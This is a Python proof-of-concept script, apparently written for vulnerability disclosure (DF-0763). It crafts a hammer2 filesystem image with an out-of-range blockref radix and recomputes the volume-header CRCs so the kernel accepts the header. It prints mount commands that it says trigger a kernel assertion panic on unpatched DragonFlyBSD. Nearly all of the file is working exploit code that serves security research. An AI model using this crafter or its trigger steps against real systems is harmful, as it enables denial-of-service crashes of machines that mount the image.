DF-0763 / craft_radix_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | #!/usr/bin/env python3 """ DF-0763 PoC image crafter. Creates a small hammer2 filesystem image, then patches a blockref's data_off radix field (low 6 bits) to an out-of-range value (default 17 = 128KB, which exceeds HAMMER2_PBUFSIZE=64KB). Recomputes the two volume-header CRCs that cover the patched sector so the kernel still trusts the volume header. On the unpatched DragonFlyBSD master kernel (INVARIANTS ON), mounting or accessing the crafted image drives hammer2_chain_alloc (hammer2_chain.c:189) to set chain->bytes = 1<<17 = 128KB, and hammer2_chain_load_data then calls hammer2_io_bread(... 128KB ...) -> hammer2_io_alloc (hammer2_io.c:126) where: KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase); fails because lsize (128KB) spans two 64KB DIO pages -> kernel panic. Usage: craft_radix_img.py <out.img> [radix] radix defaults to 17 (valid range is 0 and 10..16) """ import struct, sys, os, subprocess # --------------------------------------------------------------------------- # CRC32C (Castagnoli) -- matches sys/libkern/icrc32.c calculate_crc32c(). # iscsi_crc32(buf, size) == ~calculate_crc32c(~0, buf, size) # --------------------------------------------------------------------------- def _make_crc32c_table(): poly = 0x82F63B78 # reversed Castagnoli polynomial table = [] for n in range(256): c = n for _ in range(8): c = (c >> 1) ^ poly if (c & 1) else (c >> 1) table.append(c) return table _CRC32C_TABLE = _make_crc32c_table() def crc32c(data, seed=0): crc = seed ^ 0xFFFFFFFF for b in data: crc = _CRC32C_TABLE[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF def iscsi_crc32(data): # matches iscsi_crc32(): ~calculate_crc32c(-1, buf, size) return crc32c(data, 0xFFFFFFFF ^ 0xFFFFFFFF) # seed=-1 -> crc32c(data, 0xFFFFFFFF^... ) # Actually calculate_crc32c(-1, ...) means crc32c with initial ~0 = 0xFFFFFFFF, # and the result is inverted. Our crc32c() already does the ^0xFFFFFFFF bookkeeping, # so we just need to NOT double-invert. Let's be precise: def iscsi_crc32(data): # calculate_crc32c(~0=0xFFFFFFFF, data, len) WITHOUT the internal inversion, # then iscsi_crc32 returns ~result. # Our crc32c(seed=0) implements: init=0^0xFFFFFFFF, process, return ^0xFFFFFFFF # = calculate_crc32c(0, ...) then inverted. That's not quite what we want. # Let's implement calculate_crc32c directly (no inversion) then invert: crc = 0xFFFFFFFF # ~0 for b in data: crc = _CRC32C_TABLE[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF # ~result # Sanity: CRC32C of "123456789" is 0xE3069283 (well-known test vector) assert iscsi_crc32(b"123456789") == 0xE3069283, \ f"CRC32C self-test FAILED: {iscsi_crc32(b'123456789'):#010x}" # --------------------------------------------------------------------------- # hammer2 on-disk constants (sys/vfs/hammer2/hammer2_disk.h) # --------------------------------------------------------------------------- HAMMER2_VOLUME_BYTES = 65536 HAMMER2_VOLUME_ICRC0_OFF = 0 HAMMER2_VOLUME_ICRC0_SIZE = 512 - 4 HAMMER2_VOLUME_ICRC1_OFF = 512 HAMMER2_VOLUME_ICRC1_SIZE = 512 HAMMER2_VOLUME_ICRCVH_OFF = 0 HAMMER2_VOLUME_ICRCVH_SIZE = 65536 - 4 HAMMER2_VOL_ICRC_SECT0 = 7 # index into icrc_sects[] for sector 0 CRC HAMMER2_VOL_ICRC_SECT1 = 6 # index into icrc_sects[] for sector 1 CRC HAMMER2_OFF_MASK_RADIX = 0x3F HAMMER2_RADIX_MAX = 16 SROOT_BLOCKSET_OFF = 0x200 # offset of sroot_blockset within volhdr BLOCKREF_BYTES = 128 DATA_OFF_FIELDOFF = 32 # offset of data_off within a blockref ICRC_SECTS_OFF = 0x1E0 # offset of icrc_sects[0] within volhdr ICRC_VOLHEADER_OFF = 0xFFFC # offset of icrc_volheader within volhdr # --------------------------------------------------------------------------- def main(): if len(sys.argv) < 2: print(__doc__) sys.exit(2) out_img = sys.argv[1] bad_radix = int(sys.argv[2]) if len(sys.argv) > 2 else 17 if bad_radix < 1 or bad_radix > 31: print(f"ERROR: radix {bad_radix} out of craftable range 1..31", file=sys.stderr) sys.exit(2) img_size_mb = 64 img_size = img_size_mb * 1024 * 1024 # Step 1: create a fresh hammer2 image via newfs_hammer2 ON THE GUEST. # The caller is expected to have already run newfs_hammer2; if the file # does not exist we create an all-zero placeholder and error out. if not os.path.exists(out_img): print(f"ERROR: {out_img} does not exist. Create it first with:", file=sys.stderr) print(f" truncate -s {img_size_mb}M {out_img} && newfs_hammer2 -L testvol {out_img}", file=sys.stderr) sys.exit(1) with open(out_img, 'r+b') as f: # Read the first volume-header copy (HAMMER2_VOLUME_BYTES at offset 0). f.seek(0) volhdr = bytearray(f.read(HAMMER2_VOLUME_BYTES)) magic = struct.unpack_from('<Q', volhdr, 0)[0] HAMMER2_VOLUME_ID_HBO = 0x48414d3205172011 if magic != HAMMER2_VOLUME_ID_HBO: print(f"ERROR: bad volume magic at offset 0: {magic:#018x}", file=sys.stderr) sys.exit(1) print(f"[+] Volume header magic OK ({magic:#018x})") # Locate sroot_blockset[0] -> first blockref. bref_off = SROOT_BLOCKSET_OFF data_off = struct.unpack_from('<Q', volhdr, bref_off + DATA_OFF_FIELDOFF)[0] cur_radix = data_off & HAMMER2_OFF_MASK_RADIX btype = volhdr[bref_off] print(f"[+] sroot_blockset[0]: type={btype} data_off={data_off:#018x} " f"(offset={data_off & ~HAMMER2_OFF_MASK_RADIX:#x} radix={cur_radix})") if cur_radix == 0: print("[!] sroot_blockset[0] has radix 0 (no data); cannot demonstrate OOB via this bref", file=sys.stderr) sys.exit(1) # Patch the radix bits to the bad value. new_data_off = (data_off & ~HAMMER2_OFF_MASK_RADIX) | bad_radix struct.pack_into('<Q', volhdr, bref_off + DATA_OFF_FIELDOFF, new_data_off) print(f"[+] PATCHED data_off -> {new_data_off:#018x} " f"(radix {cur_radix} -> {bad_radix}, bytes 1<<{cur_radix}={1<<cur_radix} " f"-> 1<<{bad_radix}={1<<bad_radix})") print(f" HAMMER2_PBUFSIZE=65536 (radix {HAMMER2_RADIX_MAX}); " f"new bytes {1<<bad_radix} {'EXCEEDS' if (1<<bad_radix) > 65536 else 'within'} DIO page") # Recompute icrc_sects[6] (sector-1 CRC, covers 0x200..0x3FF = the sroot_blockset). sect1_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRC1_OFF: HAMMER2_VOLUME_ICRC1_OFF + HAMMER2_VOLUME_ICRC1_SIZE])) struct.pack_into('<I', volhdr, ICRC_SECTS_OFF + HAMMER2_VOL_ICRC_SECT1 * 4, sect1_crc) print(f"[+] Recomputed icrc_sects[{HAMMER2_VOL_ICRC_SECT1}] = {sect1_crc:#010x}") # NOTE: icrc_sects[6] lives at offset 0x1F8 (504-507), which is INSIDE # sector-0's CRC range (0..507). So changing it invalidates sect0's CRC; # we must recompute icrc_sects[7] (sector-0 CRC, covers 0..507) AFTER. sect0_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRC0_OFF: HAMMER2_VOLUME_ICRC0_OFF + HAMMER2_VOLUME_ICRC0_SIZE])) struct.pack_into('<I', volhdr, ICRC_SECTS_OFF + HAMMER2_VOL_ICRC_SECT0 * 4, sect0_crc) print(f"[+] Recomputed icrc_sects[{HAMMER2_VOL_ICRC_SECT0}] = {sect0_crc:#010x}") # Recompute icrc_volheader (covers 0..0xFFFB) -- must be last; it embeds # all of the above. vh_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRCVH_OFF: HAMMER2_VOLUME_ICRCVH_OFF + HAMMER2_VOLUME_ICRCVH_SIZE])) struct.pack_into('<I', volhdr, ICRC_VOLHEADER_OFF, vh_crc) print(f"[+] Recomputed icrc_volheader = {vh_crc:#010x}") # Write the patched volume header back. f.seek(0) f.write(volhdr) f.flush() os.fsync(f.fileno()) print(f"[+] Crafted image written to {out_img}") print(f"[+] Trigger: vnconfig -c vn0 {out_img} && " f"mount -t hammer2 /dev/vn0@testvol /mnt/h2test && ls /mnt/h2test") print(f"[+] Expected on unpatched kernel (INVARIANTS ON): " f"panic at hammer2_io.c:126 KKASSERT") if __name__ == '__main__': main() |